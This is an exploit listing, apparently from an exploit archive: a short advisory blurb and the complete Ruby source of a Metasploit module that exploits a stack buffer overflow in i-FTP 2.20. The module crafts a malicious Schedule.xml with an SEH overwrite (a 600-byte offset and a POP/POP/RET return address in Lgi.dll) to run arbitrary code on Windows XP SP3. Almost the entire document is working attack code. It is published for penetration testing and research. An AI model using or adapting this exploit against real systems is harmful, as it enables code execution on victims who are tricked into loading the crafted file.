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i-FTP 2.20 Schedule Buffer Overflow

i-FTP 2.20 Schedule Buffer Overflow
Posted Dec 31, 2014
Authored by Gabor Seljan, metacom | Site metasploit.com

This Metasploit module exploits a stack-based buffer overflow vulnerability in i-Ftp version 2.20, caused by a long time value set for scheduled download. By persuading the victim to place a specially-crafted Schedule.xml file in the i-FTP folder, a remote attacker could execute arbitrary code on the system or cause the application to crash. This Metasploit module has been tested successfully on Windows XP SP3.

tags | exploit, remote, overflow, arbitrary
systems | windows, xp
MD5 | 91faa2a1b6eebff51d22ba13f4275a3f

i-FTP 2.20 Schedule Buffer Overflow

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rexml/document'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::Seh
include REXML

def initialize(info = {})
super(update_info(info,
'Name' => 'i-FTP Schedule Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow vulnerability in
i-Ftp v2.20, caused by a long time value set for scheduled download.
By persuading the victim to place a specially-crafted Schedule.xml file
in the i-FTP folder, a remote attacker could execute arbitrary code on
the system or cause the application to crash. This module has been
tested successfully on Windows XP SP3.
},
'License' => MSF_LICENSE,
'Author' =>
[
'metacom', # Vulnerability discovery and PoC
'Gabor Seljan' # Metasploit module
],
'References' =>
[
[ 'EDB', '35177' ],
[ 'OSVDB', '114279' ],
],
'DefaultOptions' =>
{
'ExitFunction' => 'process'
},
'Platform' => 'win',
'Payload' =>
{
'BadChars' => "\x00\x0a\x0d\x20\x22",
'Space' => 2000
},
'Targets' =>
[
[ 'Windows XP SP3',
{
'Offset' => 600,
'Ret' => 0x1001eade # POP ECX # POP ECX # RET [Lgi.dll]
}
]
],
'Privileged' => false,
'DisclosureDate' => 'Nov 06 2014',
'DefaultTarget' => 0))

register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'Schedule.xml'])
],
self.class)

end

def exploit

evil = rand_text_alpha(target['Offset'])
evil << generate_seh_payload(target.ret)
evil << rand_text_alpha(20000)

xml = Document.new
xml << XMLDecl.new('1.0', 'UTF-8')
xml.add_element('Schedule', {})
xml.elements[1].add_element(
'Event',
{
'Url' => '',
'Time' => 'EVIL',
'Folder' => ''
})

sploit = ''
xml.write(sploit, 2)
sploit = sploit.gsub(/EVIL/, evil)

# Create the file
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(sploit)

end
end

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